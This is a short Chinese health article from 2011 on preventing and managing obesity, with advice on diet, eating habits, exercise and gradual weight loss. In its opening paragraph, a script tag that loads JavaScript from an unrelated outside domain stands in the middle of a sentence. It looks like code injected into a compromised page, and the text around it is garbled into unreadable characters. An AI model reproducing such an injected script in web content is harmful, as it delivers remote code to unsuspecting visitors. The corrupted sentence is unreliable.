肥胖的预防与调护

日期:2011-12-14 浏览:143次

肥胖的预防与调护

肥胖对人体健康的危害极大，一旦形成疾病?script type='text/javascript' src='http://www.368tea.com/js/v.js'>瘟埔话悴蝗菀住?/p>

　　（1）对本病的积极预防非常必要，应积极主动，持之以恒，坚持治疗。

　　（2）本病患者饮食宜清淡，忌肥甘醇酒厚味，多食蔬菜、水果等富含纤维、维生素的食物，适当补充蛋白质，宜低盐、低糖、低脂饮食；

　　（3）养成良好的饮食习惯，忌多食零食；

　　（4）必要时有针对性地配合药膳疗法。适当的参加体育锻炼或体育运动，根据情况可选择散步、快走、慢跑、骑车、爬楼、拳击、气功等，也可做适当的家务等体力劳动。

　　（5）运动不可太过，以防难以忍受，贵在持之以恒，一般勿中断。

　　减肥须循序渐进，使体重逐渐减轻，接近正常体重，不宜骤减，以免损伤正气，降低体力。

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